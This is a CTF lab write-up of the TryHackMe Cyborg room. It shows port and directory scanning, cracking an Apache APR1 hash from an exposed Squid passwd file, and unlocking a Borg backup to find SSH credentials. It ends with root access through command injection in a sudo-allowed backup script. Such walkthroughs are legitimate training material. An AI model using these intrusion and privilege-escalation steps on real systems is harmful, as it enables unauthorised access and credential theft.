> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Cyborg Writeup: Borg Backup, Squid Proxy and Sudo Command Injection
- URL: https://taiwanding.com/en/tryhackme-cyborg-writeup/
- Published: 2025-10-09T07:46:03.000Z
- Updated: 2026-07-15T02:49:55.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## Challenge Info

- **Platform**: TryHackMe
- **Room name**: Cyborg
- **Difficulty**: Easy
- **Goal**: Capture the user flag and the root flag
- **Link**: [https://tryhackme.com/room/cyborgt8](https://tryhackme.com/room/cyborgt8?ref=taiwanding.com)

## Service Discovery

```bash
nmap -sC -sV -Pn 10.201.101.58

```

**Results**

- 22/tcp - OpenSSH
- 80/tcp - Apache httpd

## Step 1: Web Enumeration

Visiting the site reveals a static web page, so let's run a directory scan:

```bash
gobuster dir -u http://10.201.101.58 -w /usr/share/wordlists/common.txt

```

```bash
└─$ gobuster dir -u http://10.201.101.58/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.201.101.58/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/admin                (Status: 301) [Size: 314] [--> http://10.201.101.58/admin/]
/etc                  (Status: 301) [Size: 312] [--> http://10.201.101.58/etc/]
/index.html           (Status: 200) [Size: 11321]
/server-status        (Status: 403) [Size: 278]
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished
===============================================================
```

**Interesting directories found**

- `/admin` \- admin panel page
- `/etc` \- config files directory

## Step 2: Exploring the /admin Directory

Inside `/admin` we find a chat log (Adminer), which mentions:

```
[Today at 5.45am from Alex]
Ok sorry guys i think i messed something up, uhh i was playing around
with the squid proxy i mentioned earlier.
...
And since i dont know how it works im not sure how to delete them
hope they don't contain any confidential information lol.

```

**Key clues**:

- Alex broke the Squid Proxy
- Config files are scattered everywhere
- They may contain sensitive information

We also find a **Download Archive** button, which gives us `archive.tar`

## Step 3: Analyzing the Downloaded File

```bash
tar -xvf archive.tar
cd home/field/dev/final_archive

```

Turns out this is a **Borg Backup repository**!

```bash
tree
# .
# ├── config
# ├── data
# │   └── 0
# │       ├── 1
# │       ├── 3
# │       ├── 4
# │       └── 5
# ├── hints.5
# ├── index.5
# ├── integrity.5
# ├── nonce
# └── README

```

## Step 4: Finding the Borg Passphrase

Back to the web directory to explore `/etc/squid`, where we find the Squid Proxy config:

```bash
# Visit http://10.201.101.58/etc/squid/squid.conf

```

**Config contents**:

```
auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/passwd
auth_param basic children 5
auth_param basic realm Squid Basic Authentication
auth_param basic credentialsttl 2 hours
acl auth_users proxy_auth REQUIRED
http_access allow auth_users

```

**Key detail**: it points to the `/etc/squid/passwd` file

Visiting `http://10.201.101.58/etc/squid/passwd` gives us:

```
music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.

```

## Step 5: Cracking the Apache APR1 MD5 Hash

This is the **Apache $apr1$ MD5** format (mode 1600)

```bash
# Keep only the hash part (strip the username)
echo '$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.' > hash.txt

# Crack it with hashcat
hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt

```

**Cracked result**: `squidward`

## Step 6: Unlocking the Borg Backup

```bash
# List the backups
borg list final_archive
# Enter passphrase: squidward

# Output:
# music_archive    Tue, 2020-12-29 22:00:38 [f789ddb6...]

```

**Extract the backup contents**:

```bash
mkdir borg_extracted
cd borg_extracted
borg extract /path/to/final_archive::music_archive

```

**Explore the extracted files**:

```bash
cd home/alex
tree
# .
# ├── Desktop
# │   └── secret.txt
# ├── Documents
# │   └── note.txt
# ├── Downloads
# ├── Music
# ...

```

## Step 7: Getting Alex's Credentials

```bash
cat Documents/note.txt

```

**Contents**:

```
Wow I'm awful at remembering Passwords so I've taken my
Friends advice and noting them down!

alex:S3cretP@s3

```

**We found Alex's SSH password**: `S3cretP@s3`

## Step 8: SSH Login as Alex

```bash
ssh alex@10.201.101.58
# Password: S3cretP@s3

```

**Grab the user flag**:

```bash
ls -la
cat user.txt
# flag{Redacted}

```

## Step 9: Privilege Escalation Recon

```bash
sudo -l

```

**Output**:

```
User alex may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh

```

**Inspect the script**:

```bash
cat /etc/mp3backups/backup.sh

```

**The vulnerable code**:

```bash
while getopts c: flag
do
        case "${flag}" in
                c) command=${OPTARG};;
        esac
done
...
cmd=$($command)
echo $cmd

```

## Step 10: Privilege Escalation via Command Injection

The script accepts a `-c` argument and **executes the command directly** — and it runs with **sudo privileges**!

### Reading the Root Flag

```bash
sudo /etc/mp3backups/backup.sh -c "cat /root/root.txt"

```

**Root Flag**:

```
flag{Redacted}

```

## Key Takeaways

### 1\. Decrypting a Borg Backup

- Use `borg list` to list the backups
- Use `borg extract` to pull out the contents
- The passphrase is usually hidden somewhere else (in this room, in the Squid config)

### 2\. Cracking Apache APR1 MD5

```bash
# Hashcat mode 1600
hashcat -m 1600 hash.txt wordlist.txt

# Or use John the Ripper
john --format=md5crypt hash.txt

```

### 3\. Sudo Abuse

- Always check `sudo -l` first
- Scripts that can run without a password are the top target for privilege escalation
- Check whether the script is:
  - writable
  - using relative paths
  - has a command injection point
  - using wildcards

## Lessons Learned

This room touches on some basic code auditing, but the target of the audit isn't the code itself — you need to recognize that a tool called Borg Backup is being used to back up the entire user directory. Once you know that, you can extract the relevant information and reach Alex's home directory.